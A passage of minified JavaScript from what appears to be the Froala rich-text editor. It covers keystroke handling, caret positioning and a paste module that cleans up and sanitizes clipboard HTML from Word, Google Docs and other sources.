n=m.selection.element(),r=m.selection.get(),a=r.anchorNode,o=r.anchorOffset;if(a.nodeType===Node.TEXT_NODE&&0<o&&1<a.textContent.length&&8203===a.textContent.charCodeAt(o)){T(n);var i=m.doc.createRange();m.selection.get().removeAllRanges();var s=Math.max(0,Math.min(o-1,a.textContent.length-1));i.setStart(a,s),i.setEnd(a,s),m.selection.get().addRange(i)}return!0}m.events.disableBlur();var l=e.which;if(16===l)return!0;if((v=l)===kt.KEYCODE.IME)return b=!0;if(b=!1,w(e))return!0;var c=_(l)&&!w(e)&&!e.altKey,d=l===kt.KEYCODE.BACKSPACE||l===kt.KEYCODE.DELETE;if((m.selection.isFull()&&!m.opts.keepFormatOnDelete&&!m.placeholder.isVisible()||d&&m.placeholder.isVisible()&&m.opts.keepFormatOnDelete)&&(c||d)&&(y(),!_(l)))return e.preventDefault(),!0;if(l===kt.KEYCODE.ENTER)!m.helpers.isIOS()&&e.shiftKey||t.classList.contains("fr-inner")||t.parentElement.classList.contains("fr-inner")?function f(e){e.preventDefault(),e.stopPropagation(),m.opts.multiLine&&(m.selection.isCollapsed()||m.selection.remove(),m.cursor.enter(!0))}(e):function p(e){m.opts.multiLine?(m.helpers.isIOS()||(e.preventDefault(),e.stopPropagation()),m.selection.isCollapsed()||m.selection.remove(),m.cursor.enter()):(e.preventDefault(),e.stopPropagation())}(e);else if(l===kt.KEYCODE.BACKSPACE&&(e.metaKey||e.ctrlKey))!function u(){setTimeout(function(){m.events.disableBlur(),m.events.focus()},0)}();else if(l!==kt.KEYCODE.BACKSPACE||w(e)||e.altKey)if(l!==kt.KEYCODE.DELETE||w(e)||e.altKey||e.shiftKey)l===kt.KEYCODE.SPACE?function h(e){var t=m.selection.element();if(!m.helpers.isMobile()&&t&&"A"===t.tagName){e.preventDefault(),e.stopPropagation(),m.selection.isCollapsed()||m.selection.remove();var n=m.markers.insert();if(n){var r=n.previousSibling;!n.nextSibling&&n.parentNode&&"A"===n.parentNode.tagName?(n.parentNode.insertAdjacentHTML("afterend"," ".concat(kt.MARKERS)),n.parentNode.removeChild(n)):(r&&r.nodeType===Node.TEXT_NODE&&1===r.textContent.length&&160===r.textContent.charCodeAt(0)?r.textContent+=" ":n.insertAdjacentHTML("beforebegin"," "),n.outerHTML=kt.MARKERS),m.selection.restore()}}}(e):l===kt.KEYCODE.TAB?function g(e){if(0<m.opts.tabSpaces)if(m.selection.isCollapsed()){m.undo.saveStep(),e.preventDefault(),e.stopPropagation();for(var t="",n=0;n<m.opts.tabSpaces;n++)t+=" ";m.html.insert(t),m.placeholder.refresh(),m.undo.saveStep()}else e.preventDefault(),e.stopPropagation(),e.shiftKey?m.commands.outdent():m.commands.indent()}(e):w(e)||!_(e.which)||m.selection.isCollapsed()||e.ctrlKey||e.altKey||m.browser.mozilla||m.selection.remove();else{if(L(t,e))return e.preventDefault(),void e.stopPropagation();m.placeholder.isVisible()?(m.opts.keepFormatOnDelete||y(),e.preventDefault(),e.stopPropagation()):E(e)}else{if(L(t,e))return e.preventDefault(),void e.stopPropagation();m.placeholder.isVisible()?(m.opts.keepFormatOnDelete||y(),e.preventDefault(),e.stopPropagation()):C(e)}m.events.enableBlur()}function T(e){var t=e;-1<["STRONG","U","EM"].indexOf(e.nodeName)&&e.parentNode&&(t=e.parentNode);for(var n=m.doc.createTreeWalker(t,NodeFilter.SHOW_TEXT,m.node.filter(function(e){return/\u200B/gi.test(e.textContent)}),!1);n.nextNode();){var r=n.currentNode;r.textContent=r.textContent.replace(/\u200B/gi,"")}}function l(){if(!m.$wp)return!0;var e;if(m.opts.height||m.opts.heightMax){e=m.position.getBoundingRect().top,(m.helpers.isIOS()||m.helpers.isAndroid())&&(e-=m.helpers.scrollTop()),m.opts.iframe&&(e+=m.$iframe.offset().top);var t=m.selection.blocks(),n=null;if(t&&0<t.length&&t[0].offsetTop&&(n=t[0].getBoundingClientRect().top,3===m.selection.get().anchorNode.nodeType)){var r=m.doc.createRange(),a=m.selection.get().anchorNode,o=m.selection.get().anchorOffset;r.selectNode(a),r.setStart(a,o),n=r.getBoundingClientRect().top}if(!m.opts.iframe&&e>m.$wp.offset().top-m.helpers.scrollTop()+m.$wp.height()-20)m.$wp.scrollTop(e+m.$wp.scrollTop()-(m.$wp.height()+m.$wp.offset().top)+m.helpers.scrollTop()+20);else if(m.opts.iframe&&n)if(m.$wp.scrollTop()>n)m.$wp.scrollTop(n-20);else if(n+20>m.$wp.scrollTop()+m.$wp.height()){var i=n-m.$wp.height()+50;m.$wp.scrollTop(i)}}else e=m.position.getBoundingRect().top,m.opts.toolbarBottom&&(e+=m.opts.toolbarStickyOffset),(m.helpers.isIOS()||m.helpers.isAndroid())&&(e-=m.helpers.scrollTop()),m.opts.iframe&&(e+=m.$iframe.offset().top,e-=m.helpers.scrollTop()),(e+=m.opts.toolbarStickyOffset)>m.o_win.innerHeight-20&&s(m.o_win).scrollTop(e+m.helpers.scrollTop()-m.o_win.innerHeight+20),e=m.position.getBoundingRect().top,m.opts.toolbarBottom||(e-=m.opts.toolbarStickyOffset),(m.helpers.isIOS()||m.helpers.isAndroid())&&(e-=m.helpers.scrollTop()),m.opts.iframe&&(e+=m.$iframe.offset().top,e-=m.helpers.scrollTop()),e<100&&s(m.o_win).scrollTop(e+m.helpers.scrollTop()-100)}function c(e){var t=m.selection.element();if(t&&0<=["INPUT","TEXTAREA"].indexOf(t.tagName))return!0;if(e&&0===e.which&&v&&(e.which=v),m.helpers.isAndroid()&&m.browser.mozilla)return!0;if(b)return!1;if(e&&m.helpers.isIOS()&&e.which===kt.KEYCODE.ENTER&&m.doc.execCommand("undo"),!m.selection.isCollapsed())return!0;if(e&&(e.which===kt.KEYCODE.META||e.which===kt.KEYCODE.CTRL))return!0;if(e&&A(e.which))return!0;if(e&&!m.helpers.isIOS()&&(e.which===kt.KEYCODE.ENTER||e.which===kt.KEYCODE.BACKSPACE||37<=e.which&&e.which<=40&&!m.browser.msie))try{l()}catch(o){}var n=m.selection.element();if(function i(e){if(!e)return!1;var t=e.innerHTML;return!!((t=t.replace(/<span[^>]*? class\s*=\s*["']?fr-marker["']?[^>]+>\u200b<\/span>/gi,""))&&/\u200B/.test(t)&&0<t.replace(/\u200B/gi,"").length)}(n)&&!m.node.hasClass(n,"fr-marker")&&"IFRAME"!==n.tagName&&function s(e){return!m.helpers.isIOS()||0===((e.textContent||"").match(/[\u3041-\u3096\u30A0-\u30FF\u4E00-\u9FFF\u3130-\u318F\uAC00-\uD7AF]/gi)||[]).length}(n)){m.selection.save();var r=m.$el.find(".fr-marker")[1],a=(e||"").which;m.opts.enter===kt.ENTER_BR&&n===m.$el.get(0)&&8===a&&null==r.nextSibling||T(n),m.selection.restore()}}function w(e){if(-1!==navigator.userAgent.indexOf("Mac OS X")){if(e.metaKey&&!e.altKey)return!0}else if(e.ctrlKey&&!e.altKey)return!0;return!1}function A(e){if(e>=kt.KEYCODE.ARROW_LEFT&&e<=kt.KEYCODE.ARROW_DOWN)return!0}function _(e){if(e>=kt.KEYCODE.ZERO&&e<=kt.KEYCODE.NINE)return!0;if(e>=kt.KEYCODE.NUM_ZERO&&e<=kt.KEYCODE.NUM_MULTIPLY)return!0;if(e>=kt.KEYCODE.A&&e<=kt.KEYCODE.Z)return!0;if(m.browser.webkit&&0===e)return!0;switch(e){case kt.KEYCODE.SPACE:case kt.KEYCODE.QUESTION_MARK:case kt.KEYCODE.NUM_PLUS:case kt.KEYCODE.NUM_MINUS:case kt.KEYCODE.NUM_PERIOD:case kt.KEYCODE.NUM_DIVISION:case kt.KEYCODE.SEMICOLON:case kt.KEYCODE.FF_SEMICOLON:case kt.KEYCODE.DASH:case kt.KEYCODE.EQUALS:case kt.KEYCODE.FF_EQUALS:case kt.KEYCODE.COMMA:case kt.KEYCODE.PERIOD:case kt.KEYCODE.SLASH:case kt.KEYCODE.APOSTROPHE:case kt.KEYCODE.SINGLE_QUOTE:case kt.KEYCODE.OPEN_SQUARE_BRACKET:case kt.KEYCODE.BACKSLASH:case kt.KEYCODE.CLOSE_SQUARE_BRACKET:return!0;default:return!1}}function d(e){var t=e.which;if(w(e)||37<=t&&t<=40||!_(t)&&t!==kt.KEYCODE.DELETE&&t!==kt.KEYCODE.BACKSPACE&&t!==kt.KEYCODE.ENTER&&t!==kt.KEYCODE.IME)return!0;n||(r=m.snapshot.get(),m.undo.canDo()||m.undo.saveStep()),clearTimeout(n),n=setTimeout(function(){n=null,m.undo.saveStep()},Math.max(250,m.opts.typingTimer))}function f(e){var t=e.which;if(w(e)||37<=t&&t<=40)return!0;r&&n?(m.undo.saveStep(r),r=null):void 0!==t&&0!==t||r||n||m.undo.saveStep()}function p(e){if(e&&"BR"===e.tagName)return!1;try{return 0===(e.textContent||"").length&&e.querySelector&&!e.querySelector(":scope > br")||e.childNodes&&1===e.childNodes.length&&e.childNodes[0].getAttribute&&("false"===e.childNodes[0].getAttribute("contenteditable")||m.node.hasClass(e.childNodes[0],"fr-img-caption"))}catch(t){return!1}}function u(e){var t=m.el.childNodes,n=m.html.defaultTag(),r=m.node.blockParent(m.selection.blocks()[0]);return r&&"TR"==r.tagName&&r.getAttribute("contenteditable")==undefined&&(r=r.closest("table")),!m.node.isEditable(e.target)||r&&"false"===r.getAttribute("contenteditable")?m.toolbar.disable():m.toolbar.enable(),!(!e.target||e.target===m.el)||(0===t.length||void(t[0].offsetHeight+t[0].offsetTop<=e.offsetY?p(t[t.length-1])&&(n?m.$el.append("<".concat(n,">").concat(kt.MARKERS,"<br></").concat(n,">")):m.$el.append("".concat(kt.MARKERS,"<br>")),m.selection.restore(),l()):e.offsetY<=10&&p(t[0])&&(n?m.$el.prepend("<".concat(n,">").concat(kt.MARKERS,"<br></").concat(n,">")):m.$el.prepend("".concat(kt.MARKERS,"<br>")),m.selection.restore(),l())))}function h(){n&&clearTimeout(n)}return{_init:function g(){m.events.on("keydown",d),m.events.on("input",e),m.events.on("mousedown",o),m.events.on("keyup input",f),m.events.on("keypress",a),m.events.on("keydown",i),m.events.on("keyup",c),m.events.on("destroy",h),m.events.on("html.inserted",c),m.events.on("cut",t),m.opts.multiLine&&m.events.on("click",u),m.events.on("initialized",function(){m.el.addEventListener("compositionstart",function(){if(m.selection.isCollapsed()){var e=m.selection.ranges(0),t=e.startContainer,n=e.startOffset;if(t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&8203===t.textContent.charCodeAt(n-1)){m.selection.save();var r=m.$el.find(".fr-marker");s(r.get(0).previousSibling).before(kt.HAIR_SPACE),r.get(0).previousSibling.textContent=r.get(0).previousSibling.textContent.replace(/\u200B/gi,""),m.selection.restore()}}}),m.el.addEventListener("compositionend",function(){if(m.selection.isCollapsed()){var e=m.selection.ranges(0),t=e.startContainer,n=e.startOffset;if(t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&8202===t.textContent.charCodeAt(0)){m.selection.save();var r=m.$el.find(".fr-marker");r.get(0).previousSibling.textContent=r.get(0).previousSibling.textContent.replace(/\u200A/gi,""),m.selection.restore()}}})})},ctrlKey:w,isCharacter:_,isArrow:A,forceUndo:function S(){n&&(clearTimeout(n),m.undo.saveStep(),r=null)},isIME:function k(){return b},isBrowserAction:function x(e){var t=e.which;return w(e)||t===kt.KEYCODE.F5},positionCaret:l}},Object.assign(kt.DEFAULTS,{pastePlain:!1,pasteDeniedTags:["colgroup","col","meta"],pasteDeniedAttrs:["class","id"],pasteAllowedStyleProps:[".*"],pasteAllowLocalImages:!1}),kt.MODULES.paste=function(S){var s,o,k,x,l,R,a,N=S.$;function r(e,t){var n=2<arguments.length&&arguments[2]!==undefined&&arguments[2];a=n;try{S.win.localStorage.setItem("fr-copied-html",e),S.win.localStorage.setItem("fr-copied-text",t)}catch(r){}}function e(e){var t=S.html.getSelected();"cut"===e.type&&S.opts.trackChangesEnabled||(a=!1),a&&(t=S.win.localStorage.getItem("fr-copied-html"));var n=N(S.doc.createElement("div")).html(t).text();a||r(t,n),"cut"===e.type&&(S.undo.saveStep(),S.opts.trackChangesEnabled&&a&&(e.clipboardData.setData("text/plain",n),e.clipboardData.setData("text/html",t),S.selection.get().deleteFromDocument(),e.preventDefault()),setTimeout(function(){S.selection.save(),S.html.wrap(),S.selection.restore(),S.events.focus(),S.undo.saveStep()},0))}var c,n=!1;function t(d){if("INPUT"===(c=d).target.nodeName&&"text"===d.target.type)return!0;if(S.edit.isDisabled())return!1;if(i(d.target))return!1;if(n)return!1;d.originalEvent&&(d=d.originalEvent);var e=navigator.userAgent.match(/(chrome(?=\/))\/?\s*(\d+)/i)||[],t=3<=e.length?e[2]:0;return S.helpers.isAndroid()&&S.browser.chrome&&99<t&&navigator.clipboard?(navigator.clipboard.read({unsanitized:["text/html"]}).then(function(){var t=function e(s){return function(){var e=this,i=arguments;return new Promise(function(t,n){var r=s.apply(e,i);function a(e){E(r,t,n,a,o,"next",e)}function o(e){E(r,t,n,a,o,"throw",e)}a(void 0)})}}(I().mark(function c(t){var n,r,a,o,i,s,l;return I().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:n=t[0].types,r=new DataTransfer,a=He(n),e.prev=3,a.s();case 5:if((o=a.n()).done){e.next=21;break}return i=o.value,e.next=9,t[0].getType(i);case 9:if(s=e.sent,i.startsWith("text"))return e.next=13,s.text();e.next=16;break;case 13:e.t0=e.sent,e.next=17;break;case 16:e.t0=s;case 17:l=e.t0,i.startsWith("text")?r.setData(i,l):r.items.add(new File([l],"file"));case 19:e.next=5;break;case 21:e.next=26;break;case 23:e.prev=23,e.t1=e["catch"](3),a.e(e.t1);case 26:return e.prev=26,a.f(),e.finish(26);case 29:return e.abrupt("return",f(d,r));case 30:case"end":return e.stop()}},c,null,[[3,23,26,29]])}));return function(e){return t.apply(this,arguments)}}()),d.preventDefault(),!1):f(d)}function f(e,t){var n=t||e&&e.clipboardData;if(n&&n.getData&&((n||window.clipboardData).getData("text/html")||"").match('content="Microsoft OneNote'))return!1;if(!1===S.events.trigger("paste.before",[e,t]))return e.preventDefault(),!1;if(n&&n.getData){var r="";if(x=n.types,S.helpers.isArray(x))for(var a=0;a<x.length;a++)r+="".concat(x[a],";");else r=x;if(s="",/text\/rtf/.test(r)&&(o=n.getData("text/rtf")),/text\/html/.test(r)?(s=n.getData("text/html"),S.browser.mozilla&&("<p></p>"===s||""===s||/<!--StartFragment-->([ ])<!--EndFragment-->/.test(s)||/<!--StartFragment-->([<p></p>]*)<!--EndFragment-->/.test(s))&&(s=S.win.localStorage.getItem("fr-copied-html"))):/text\/uri-list/.test(r)&&S.browser.safari?s=n.getData("text/uri-list"):/text\/rtf/.test(r)&&S.browser.safari?s=o:/public.rtf/.test(r)&&S.browser.safari&&(s=n.getData("text/rtf")),k=n.getData("text"),""!==s)return h(),e.preventDefault&&(e.stopPropagation(),e.preventDefault()),!1;s=null}return function i(){if(S.selection.save(),S.events.disableBlur(),s=null,l){l.html("");var e=p(S.selection.get().anchorNode)+S.$wp.offset().top;l.css("top",e),S.browser.edge&&S.opts.iframe&&S.$el.append(l)}else{var t=document.getElementsByTagName("BODY")[0],n=window.getComputedStyle(t).transform;if("none"!==n){var r=p(S.selection.get().anchorNode)+S.$wp.offset().top;l=N('<div contenteditable="true" style="position: fixed; top: '+r+'px; left: -9999px; height: 100%; width: 0; word-break: break-all; overflow:hidden; z-index: 2147483647; line-height: 140%; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text;" tabIndex="-1"></div>')}else l=N('<div contenteditable="true" style="position: fixed; top: 0; left: -9999px; height: 100%; width: 0; word-break: break-all; overflow:hidden; z-index: 2147483647; line-height: 140%; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text;" tabIndex="-1"></div>');S.browser.webkit||S.browser.mozilla?("none"===n&&l.css("top",S.$sc.scrollTop()),S.$el.after(l)):S.browser.edge&&S.opts.iframe?S.$el.append(l):S.$box.after(l),S.events.on("destroy",function(){l.remove()})}var a;S.helpers.isIOS()&&S.$sc&&(a=S.$sc.scrollTop());S.opts.iframe&&S.$el.attr("contenteditable","false");S.helpers.isIOS()&&S.$sc&&S.$sc.scrollTop(a);var o=c.clipboardData.getData("Text");4e5<o.length?(c.preventDefault(),o=u(o),l.get(0).innerHTML=o,setTimeout(function(){S.win.setTimeout(h,1)},0)):(l.focus(),S.win.setTimeout(h,1))}(),!1}function i(e){return e&&"false"===e.contentEditable}function d(e){if(e.originalEvent&&(e=e.originalEvent),i(e.target))return!1;if(e&&e.dataTransfer&&e.dataTransfer.getData){var t="";if(x=e.dataTransfer.types,S.helpers.isArray(x))for(var n=0;n<x.length;n++)t+="".concat(x[n],";");else t=x;if(s="",/text\/rtf/.test(t)&&(o=e.dataTransfer.getData("text/rtf")),/text\/html/.test(t)?s=e.dataTransfer.getData("text/html"):/text\/rtf/.test(t)&&S.browser.safari?s=o:/text\/plain/.test(t)&&!this.browser.mozilla&&(s=S.html.escapeEntities(e.dataTransfer.getData("text/plain")).replace(/\n/g,"<br>")),""!==s){S.keys.forceUndo(),R=S.snapshot.get(),S.selection.save(),S.$el.find(".fr-marker").removeClass("fr-marker").addClass("fr-marker-helper");var r=S.markers.insertAtPoint(e);if(S.$el.find(".fr-marker").removeClass("fr-marker").addClass("fr-marker-placeholder"),S.$el.find(".fr-marker-helper").addClass("fr-marker").removeClass("fr-marker-helper"),S.selection.restore(),S.selection.remove(),S.$el.find(".fr-marker-placeholder").addClass("fr-marker").removeClass("fr-marker-placeholder"),!1!==r){var a=S.el.querySelector(".fr-marker");return N(a).replaceWith(kt.MARKERS),S.selection.restore(),h(),e.preventDefault&&(e.stopPropagation(),e.preventDefault()),!1}}else s=null}}function p(e){return e.nodeType===Node.TEXT_NODE?e.parentNode.offsetTop:e.offsetTop}function u(e){var t=S.html.defaultTag()||"p",n="</".concat(t,"><").concat(t,">");return S.opts.enter===kt.ENTER_BR?n="<br />":e="<".concat(t,">")+e,e.replace(/\n{2,}/g,n)}function h(){S.opts.iframe&&S.$el.attr("contenteditable","true"),S.browser.edge&&S.opts.iframe&&S.$box.after(l),R||(S.keys.forceUndo(),R=S.snapshot.get()),s||(s=l.get(0).innerHTML,k=l.text(),S.$el[0].setAttribute("plainpaste",!0),S.selection.restore(),S.events.enableBlur());var e=s.match(/(MSFontService|class="?Mso|class='?Mso|class="?Xl|class='?Xl|class=Xl|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument|LibreOffice)/gi),t=S.events.chainTrigger("paste.beforeCleanup",s);if(t&&"string"==typeof t){s=t;var n=(new DOMParser).parseFromString(t,"text/html");k=n.body.innerText}(!e||e&&!1!==S.events.trigger("paste.wordPaste",[s]))&&g(s,e)}function M(e){for(var t="",n=0;n++<e;)t+=" ";return t}function g(e,t,n){var r,a=null,o=null;if(0<=e.toLowerCase().indexOf("<body")){var i="";0<=e.indexOf("<style")&&(i=e.replace(/[.\s\S\w\W<>]*(<style[^>]*>[\s]*[.\s\S\w\W<>]*[\s]*<\/style>)[.\s\S\w\W<>]*/gi,"$1")),e=(e=(e=i+e.replace(/[.\s\S\w\W<>]*<body[^>]*>[\s]*([.\s\S\w\W<>]*)[\s]*<\/body>[.\s\S\w\W<>]*/gi,"$1")).replace(/<pre(?:[\w\W]*?)>(?:[\w\W]*?)<\/pre>/g,function(e){return e.replace(/\n/g,"<br />")})).replace(/ \n/g," ").replace(/\n /g," ").replace(/([^>])\n([^<])/g,"$1 $2")}var s=!1;0<=e.indexOf('id="docs-internal-guid')&&(e=e.replace(/^[\w\W\s\S]* id="docs-internal-guid[^>]*>([\w\W\s\S]*)<\/b>[\w\W\s\S]*$/g,"$1"),s=!0),(0<=e.indexOf('content="Sheets"')||0<=e.indexOf("google-sheets-html-origin"))&&(e=e.replace(/width:0px;/g,""));var l=!1;if(!t)if((l=function L(){var e=null;try{e=S.win.localStorage.getItem("fr-copied-text")}catch(t){}return!(!e||!k||x&&-1===x.indexOf("text/html")||k.replace(/\u00A0/gi," ").replace(/\r|\n/gi,"")!==e.replace(/\u00A0/gi," ").replace(/\r|\n/gi,"")&&k.replace(/\s/g,"")!==e.replace(/\s/g,""))}())&&(e=S.win.localStorage.getItem("fr-copied-html")),l)e=S.clean.html(e,S.opts.pasteDeniedTags,S.opts.pasteDeniedAttrs);else{var c=S.opts.htmlAllowedStyleProps;S.opts.htmlAllowedStyleProps=S.opts.pasteAllowedStyleProps,S.opts.htmlAllowComments=!1,e=(e=(e=e.replace(/<span class="Apple-tab-span">\s*<\/span>/g,M(S.opts.tabSpaces||4))).replace(/<span class="Apple-tab-span" style="white-space:pre">(\t*)<\/span>/g,function(e,t){return M(t.length*(S.opts.tabSpaces||4))})).replace(/\t/g,M(S.opts.tabSpaces||4)),e=S.clean.html(e,S.opts.pasteDeniedTags,S.opts.pasteDeniedAttrs),S.opts.htmlAllowedStyleProps=c,S.opts.htmlAllowComments=!0,S.html.defaultTag()&&"div"===S.html.defaultTag()||(e=O(e)),e=(e=e.replace(/\r/g,"")).replace(/^ */g,"").replace(/ *$/g,"")}!t||S.wordPaste&&n||(0===(e=e.replace(/^\n*/g,"").replace(/^ /g,"")).indexOf("<colgroup>")&&(e="<table>".concat(e,"</table>")),e=O(e=function T(e){var t;e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(/<p(.*?)class="?'?MsoListParagraph"?'? ([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ul><li>$3</li></ul>")).replace(/<p(.*?)class="?'?NumberedText"?'? ([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ol><li>$3</li></ol>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpFirst"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ul><li$3>$5</li>")).replace(/<p(.*?)class="?'?NumberedTextCxSpFirst"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ol><li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpMiddle"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?NumberedTextCxSpMiddle"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListBullet"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpLast"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li></ul>")).replace(/<p(.*?)class="?'?NumberedTextCxSpLast"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li></ol>")).replace(/<span([^<]*?)style="?'?mso-list:Ignore"?'?([\s\S]*?)>([\s\S]*?)<span/gi,"<span><span")).replace(/<!--\[if !supportLists\]-->([\s\S]*?)<!--\[endif\]-->/gi,"")).replace(/<!\[if !supportLists\]>([\s\S]*?)<!\[endif\]>/gi,"")).replace(/(\n|\r| class=(")?Mso[a-zA-Z0-9]+(")?)/gi," ")).replace(/<!--[\s\S]*?-->/gi,"")).replace(/<(\/)*(meta|link|span|\\?xml:|st1:|o:|font)(.*?)>/gi,"");var n,r=["style","script","applet","embed","noframes","noscript"];for(t=0;t<r.length;t++){var a=new RegExp("<".concat(r[t],".*?").concat(r[t],"(.*?)>"),"gi");e=e.replace(a,"")}for(e=(e=(e=e.replace(/ /gi," ")).replace(/<td([^>]*)><\/td>/g,"<td$1><br></td>")).replace(/<th([^>]*)><\/th>/g,"<th$1><br></th>");(e=(n=e).replace(/<[^/>][^>]*><\/[^>]+>/gi,""))!==n;);e=(e=e.replace(/<lilevel([^1])([^>]*)>/gi,'<li data-indent="true"$2>')).replace(/<lilevel1([^>]*)>/gi,"<li$1>"),e=(e=(e=S.clean.html(e,S.opts.pasteDeniedTags,S.opts.pasteDeniedAttrs)).replace(/<a>(.[^<]+)<\/a>/gi,"$1")).replace(/<br> */g,"<br>");var o=S.o_doc.createElement("div");o.innerHTML=e;var i=o.querySelectorAll("li[data-indent]");for(t=0;t<i.length;t++){var s=i[t],l=s.previousElementSibling;if(l&&"LI"===l.tagName){var c=l.querySelector(":scope > ul, :scope > ol");c||(c=document.createElement("ul"),l.appendChild(c)),c.appendChild(s)}else s.removeAttribute("data-indent")}return S.html.cleanBlankSpaces(o),e=o.innerHTML}(e))),S.opts.pastePlain&&(e=function w(e){var t,n=null,r=S.doc.createElement("div");r.innerHTML=e;var a=r.querySelectorAll("p, div, h1, h2, h3, h4, h5, h6, pre, blockquote");for(t=0;t<a.length;t++)if((n=a[t]).innerText){var o=S.clean.html("<".concat(S.html.defaultTag()||"DIV",">").concat(n.innerText,"</").concat(S.html.defaultTag()||"DIV",">"));n.outerHTML=o}for(t=(a=r.querySelectorAll("*:not(".concat("p, div, h1, h2, h3, h4, h5, h6, pre, blockquote, ul, ol, li, table, tbody, thead, tr, td, br, img".split(",").join("):not("),")"))).length-1;0<=t;t--)(n=a[t]).outerHTML=n.innerHTML;return function i(e){for(var t=S.node.contents(e),n=0;n<t.length;n++)t[n].nodeType!==Node.TEXT_NODE&&t[n].nodeType!==Node.ELEMENT_NODE?t[n].parentNode.removeChild(t[n]):i(t[n])}(r),r.innerHTML}(e));var d=S.events.chainTrigger("paste.afterCleanup",e);if(S.$el[0].removeAttribute("plainpaste",!0),"string"==typeof d&&(e=d),""!==e){var f=S.o_doc.createElement("div");0<=(f.innerHTML=e).indexOf("<body>")?(S.html.cleanBlankSpaces(f),S.spaces.normalize(f,!0)):S.spaces.normalize(f);var p=f.getElementsByTagName("span");for(r=p.length-1;0<=r;r--){var u=p[r];0===u.attributes.length&&(u.outerHTML=u.innerHTML)}if(!0===S.opts.linkAlwaysBlank){var h=f.getElementsByTagName("a");for(r=h.length-1;0<=r;r--){var g=h[r];g.getAttribute("target")||g.setAttribute("target","_blank")}}var m=S.selection.element(),v=!1;if(m&&N(m).parentsUntil(S.el,"ul, ol").length&&(v=!0),v){var b=f.children;1===b.length&&0<=["OL","UL"].indexOf(b[0].tagName)&&(b[0].outerHTML=b[0].innerHTML)}if(!s){var C=f.getElementsByTagName("br");for(r=C.length-1;0<=r;r--){var E=C[r];S.node.isBlock(E.previousSibling)&&E.parentNode.removeChild(E)}}if(S.opts.enter===kt.ENTER_BR)for(r=(a=f.querySelectorAll("p, div")).length-1;0<=r;r--)0===(o=a[r]).attributes.length&&(o.outerHTML=o.innerHTML+(o.nextSibling&&!S.node.isEmpty(o)?"<br>":""));else if(S.opts.enter===kt.ENTER_DIV)for(r=(a=f.getElementsByTagName("p")).length-1;0<=r;r--)0===(o=a[r]).attributes.length&&(o.outerHTML="<div>".concat(o.innerHTML,"</div>"));else S.opts.enter===kt.ENTER_P&&1===f.childNodes.length&&"P"===f.childNodes[0].tagName&&0===f.childNodes[0].attributes.length&&(f.childNodes[0].outerHTML=f.childNodes[0].innerHTML);if(f.childNodes[0]instanceof HTMLHeadingElement&&S.selection.element().tagName===f.childNodes[0].tagName&&(f.childNodes[0].outerHTML=f.childNodes[0].innerHTML),f.children&&0<f.children.length)if(S.opts.trackChangesEnabled)for(var y=0;y<f.children.length;y++)f.children[y].setAttribute("id","isPasted");else f.children[0].setAttribute("id","isPasted");e=(e=f.innerHTML).replace(/\n/g,""),l&&(e=function A(e){var t,n=S.o_doc.createElement("div");n.innerHTML=e;var r=n.querySelectorAll("*:empty:not(td):not(th):not(tr):not(iframe):not(svg):not(".concat(kt.VOID_ELEMENTS.join("):not("),"):not(").concat(S.opts.htmlAllowedEmptyTags.join("):not("),")"));for(;r.length;){for(t=0;t<r.length;t++)r[t].parentNode.removeChild(r[t]);r=n.querySelectorAll("*:empty:not(td):not(th):not(tr):not(iframe):not(svg):not(".concat(kt.VOID_ELEMENTS.join("):not("),"):not(").concat(S.opts.htmlAllowedEmptyTags.join("):not("),")"))}return n.innerHTML}(e)),S.html.insert(e,!0)}!function _(){S.events.trigger("paste.after")}(),S.undo.saveStep(R),R=null,S.undo.saveStep()}function m(e){for(var t=e.length-1;0<=t;t--)e[t].attributes&&e[t].attributes.length&&e.splice(t,1);return e}function O(e){var t,n=S.o_doc.createElement("div");n.innerHTML=e;for(var r=m(Array.prototype.slice.call(n.querySelectorAll(":scope > div:not([style]), td > div:not([style]), th > div:not([style]), li > div:not([style])")));r.length;){var a=r[r.length-1];if(S.html.defaultTag()&&"div"!==S.html.defaultTag())a.querySelector(S.html.blockTagsQuery())?a.outerHTML=a.innerHTML:a.outerHTML="<".concat(S.html.defaultTag(),">").concat(a.innerHTML,"</").concat(S.html.defaultTag(),">");else{var o=a.querySelectorAll("*");!o.length||"BR"!==o[o.length-1].tagName&&0===a.innerText.length?a.outerHTML=a.innerHTML+(a.nextSibling?"<br>":""):!o.length||"BR"!==o[o.length-1].tagName||o[o.length-1].nextSibling?a.outerHTML=a.innerHTML+(a.nextSibling?"<br>":""):a.outerHTML=a.innerHTML}r=m(Array.prototype.slice.call(n.querySelectorAll(":scope > div:not([style]), td > div:not([style]), th > div:not([style]), li > div:not([style])")))}for(r=m(Array.prototype.slice.call(n.querySelectorAll("div:not([style])")));r.length;){for(t=0;t<r.length;t++){var i=r[t],s=i.innerHTML.replace(/\u0009/gi,"").trim();i.outerHTML=s}r=m(Array.prototype.slice.call(n.querySelectorAll("div:not([style])")))}return n.innerHTML}function v(){S.el.removeEventListener("copy",e),S.el.removeEventListener("cut",e),S.el.removeEventListener("paste",t)}return{_init:function 